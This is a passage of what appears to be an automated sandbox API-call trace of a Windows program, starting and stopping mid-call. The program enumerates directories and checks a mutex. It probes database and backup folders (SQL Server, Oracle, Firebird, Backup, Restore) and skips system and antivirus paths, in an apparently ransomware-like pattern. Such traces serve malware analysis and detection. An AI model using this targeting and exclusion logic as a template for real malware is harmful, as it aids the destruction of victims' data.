0 [0057.058] GetLastError () returned 0x12 [0057.058] FindClose (in: hFindFile=0x54e1c0 | out: hFindFile=0x54e1c0) returned 1 [0057.058] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.058] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.058] GlobalUnlock (hMem=0x44000c) returned 0 [0057.058] GlobalLock (hMem=0x44000c) returned 0x54f168 [0057.058] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.058] GlobalHandle (pMem=0x54f168) returned 0x44000c [0057.058] GlobalUnlock (hMem=0x44000c) returned 0 [0057.058] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.058] GlobalUnlock (hMem=0x440004) returned 0 [0057.058] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0057.058] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0057.058] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.058] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.058] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.058] GlobalUnlock (hMem=0x440004) returned 0 [0057.058] GlobalLock (hMem=0x440004) returned 0x54f168 [0057.059] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.059] GlobalHandle (pMem=0x54f168) returned 0x440004 [0057.059] GlobalUnlock (hMem=0x440004) returned 0 [0057.059] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.059] GlobalUnlock (hMem=0x44000c) returned 0 [0057.059] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.059] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0057.059] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.059] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.059] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.059] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.059] GlobalUnlock (hMem=0x44000c) returned 0 [0057.059] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.059] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.059] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.059] GlobalUnlock (hMem=0x44000c) returned 0 [0057.059] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.059] GlobalUnlock (hMem=0x440004) returned 0 [0057.059] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.059] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0057.059] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0057.059] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0057.059] GlobalLock (hMem=0x440004) returned 0x550170 [0057.059] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.059] GlobalUnlock (hMem=0x440004) returned 0 [0057.059] GlobalLock (hMem=0x440004) returned 0x550170 [0057.059] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.059] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.060] GlobalUnlock (hMem=0x440004) returned 0 [0057.060] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.060] GlobalUnlock (hMem=0x44000c) returned 0 [0057.060] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.060] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.060] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.060] GlobalUnlock (hMem=0x44000c) returned 0 [0057.060] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.060] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.060] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.060] GlobalUnlock (hMem=0x44000c) returned 0 [0057.060] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.060] GlobalUnlock (hMem=0x440004) returned 0 [0057.060] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.060] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033", len=0x30 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033") returned 1 [0057.060] GlobalLock (hMem=0x440004) returned 0x550170 [0057.060] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.060] GlobalUnlock (hMem=0x440004) returned 0 [0057.060] GlobalLock (hMem=0x440004) returned 0x550170 [0057.060] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.060] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.060] GlobalUnlock (hMem=0x440004) returned 0 [0057.060] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.060] GlobalUnlock (hMem=0x44000c) returned 0 [0057.060] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@険R陎R企@\x18䁼Q\x18\x1b")) returned 0xffffffff [0057.061] GetLastError () returned 0x3 [0057.061] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.061] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0057.061] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@闬R企@\x18㿬Q\x181")) returned 0xffffffff [0057.061] GetLastError () returned 0x2 [0057.061] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.061] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0057.061] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@蔴T企@\x18?T\x18;")) returned 0xffffffff [0057.061] GetLastError () returned 0x2 [0057.061] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.061] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0057.061] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@闬R企@\x18?T\x18D")) returned 0xffffffff [0057.062] GetLastError () returned 0x2 [0057.062] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.062] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0057.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@蔴T企@\x18Q\x18j")) returned 0xffffffff [0057.062] GetLastError () returned 0x2 [0057.062] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.062] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\眵?\x18") returned 37 [0057.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@帜R企@\x18?T\x18q")) returned 0xffffffff [0057.062] GetLastError () returned 0x2 [0057.062] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.062] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="adobe\\QP") returned 6 [0057.062] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\Oracle", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@闬R企@\x18?T\x18y")) returned 0xffffffff [0057.063] GetLastError () returned 0x2 [0057.063] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.063] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0057.063] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\Archive", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@帜R企@\x18?T\x18\x81")) returned 0xffffffff [0057.063] GetLastError () returned 0x2 [0057.063] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.063] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0057.063] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\Backup", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@闬R企@\x18?T\x18\x88")) returned 0xffffffff [0057.063] GetLastError () returned 0x2 [0057.063] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.063] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0057.063] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\Reserv", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@帜R企@\x18?T\x18\x8f")) returned 0xffffffff [0057.063] GetLastError () returned 0x2 [0057.063] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.063] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=6, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0057.064] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\Restore", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x555b78, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e6a8e8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x557b88, cFileName="㪀P\xfdee㰒", cAlternateFileName="嚔U䱠@闬R企@\x18?T\x18\x97")) returned 0xffffffff [0057.064] GetLastError () returned 0x2 [0057.064] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.064] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=7, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0057.064] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.064] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.064] GlobalUnlock (hMem=0x44000c) returned 0 [0057.064] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.064] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.064] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.064] GlobalUnlock (hMem=0x44000c) returned 0 [0057.064] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.064] GlobalUnlock (hMem=0x440004) returned 0 [0057.064] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.064] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.064] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0057.064] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.064] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0057.064] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 46 [0057.064] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.064] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0057.064] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.064] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.065] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e63c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0057.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a8c0, cbMultiByte=11, lpWideCharStr=0x18da3c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.065] GlobalLock (hMem=0x440004) returned 0x550170 [0057.065] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.065] GlobalUnlock (hMem=0x440004) returned 0 [0057.065] GlobalLock (hMem=0x440004) returned 0x550170 [0057.065] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.065] GlobalHandle (pMem=0x550170) returned 0x440004 [0057.065] GlobalUnlock (hMem=0x440004) returned 0 [0057.065] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.065] GlobalUnlock (hMem=0x44000c) returned 0 [0057.065] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=15, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 15 [0057.065] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=11, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 11 [0057.065] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.065] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=18, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 18 [0057.065] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 28 [0057.065] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 10 [0057.065] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.065] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 8 [0057.066] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.066] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e6a920, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 9 [0057.066] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\", cchLength=0x31 | out: lpsz="c:\\program files\\common files\\system\\msmapi\\1033\\") returned 0x31 [0057.066] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\眵?\x18") returned 13 [0057.066] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.066] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.066] GlobalUnlock (hMem=0x44000c) returned 0 [0057.066] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.066] GlobalLock 